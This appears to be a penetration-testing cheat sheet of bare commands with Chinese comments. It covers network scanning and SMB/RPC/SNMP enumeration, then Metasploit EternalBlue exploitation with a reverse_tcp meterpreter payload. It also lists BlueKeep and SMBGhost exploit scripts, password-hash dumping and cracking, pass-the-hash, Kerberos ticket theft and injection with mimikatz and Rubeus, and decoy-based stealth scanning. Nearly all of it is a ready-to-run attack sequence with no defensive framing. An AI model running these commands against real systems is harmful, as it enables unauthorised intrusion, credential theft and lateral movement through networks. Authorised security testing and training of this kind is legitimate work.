kolorbee/lnu-secllm/network-penetration-testing

# 主机发现
nmap -sn 192.168.1.0/24
 
# 端口扫描
nmap -sS -p- 192.168.1.100
 
# 服务识别
nmap -sV -sC 192.168.1.100
 
# 操作系统识别
nmap -O 192.168.1.100
 
# 完整扫描
nmap -sS -sV -sC -O -p- 192.168.1.100

# 快速端口扫描
masscan -p1-65535 192.168.1.0/24 --rate=1000

# 枚举SMB共享
smbclient -L //192.168.1.100 -N
 
# 枚举SMB用户
enum4linux -U 192.168.1.100
 
# 使用nmap脚本
nmap --script smb-enum-shares,smb-enum-users 192.168.1.100

# 枚举RPC服务
rpcclient -U "" -N 192.168.1.100
 
# 使用nmap脚本
nmap --script rpc-enum 192.168.1.100

# SNMP扫描
snmpwalk -v2c -c public 192.168.1.100
 
# 使用onesixtyone
onesixtyone -c wordlist.txt 192.168.1.0/24

# 启动Nessus
# 访问Web界面
# 创建扫描任务
# 分析扫描结果

# 启动OpenVAS
gvm-setup
 
# 访问Web界面
# 创建扫描任务
# 分析扫描结果

# 漏洞扫描
nmap --script vuln 192.168.1.100
 
# 特定漏洞扫描
nmap --script smb-vuln-ms17-010 192.168.1.100
 
# 所有脚本
nmap --script all 192.168.1.100

# 启动Metasploit
msfconsole
 
# 搜索漏洞
search ms17-010
 
# 使用模块
use exploit/windows/smb/ms17_010_eternalblue
 
# 设置参数
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
 
# 执行
exploit

# 获取系统信息
sysinfo
 
# 获取权限
getsystem
 
# 迁移进程
migrate <pid>
 
# 获取哈希
hashdump
 
# 获取密码
run post/windows/gather/smart_hashdump

# 使用Metasploit
use exploit/windows/smb/ms17_010_eternalblue
 
# 使用独立工具
python eternalblue.py 192.168.1.100

# 使用Metasploit
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

# 使用独立工具
python smbghost.py 192.168.1.100

# 破解NTLM哈希
hashcat -m 1000 hashes.txt wordlist.txt
 
# 破解LM哈希
hashcat -m 3000 hashes.txt wordlist.txt
 
# 使用规则
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule

# 破解哈希
john hashes.txt
 
# 使用字典
john --wordlist=wordlist.txt hashes.txt
 
# 使用规则
john --wordlist=wordlist.txt --rules hashes.txt

# SMB Pass-the-Hash
python smbexec.py -hashes :<hash> domain/user@target
 
# WMI Pass-the-Hash
python wmiexec.py -hashes :<hash> domain/user@target
 
# RDP Pass-the-Hash
xfreerdp /u:user /pth:<hash> /v:target

# 提取票据
sekurlsa::tickets /export
 
# 注入票据
kerberos::ptt ticket.kirbi

# 请求票据
Rubeus.exe asktgt /user:user /domain:domain /rc4:hash
 
# 注入票据
Rubeus.exe ptt /ticket:ticket.kirbi

# 完整扫描
nmap -sS -sV -sC -O -p- -T4 target
 
# 隐蔽扫描
nmap -sS -T2 -f -D RND:10 target
 
# UDP扫描
nmap -sU -p- target

# 启动框架
msfconsole
 
# 数据库初始化
msfdb init
 
# 导入扫描结果
db_import nmap.xml
 
# 查看主机
hosts
 
# 查看服务
services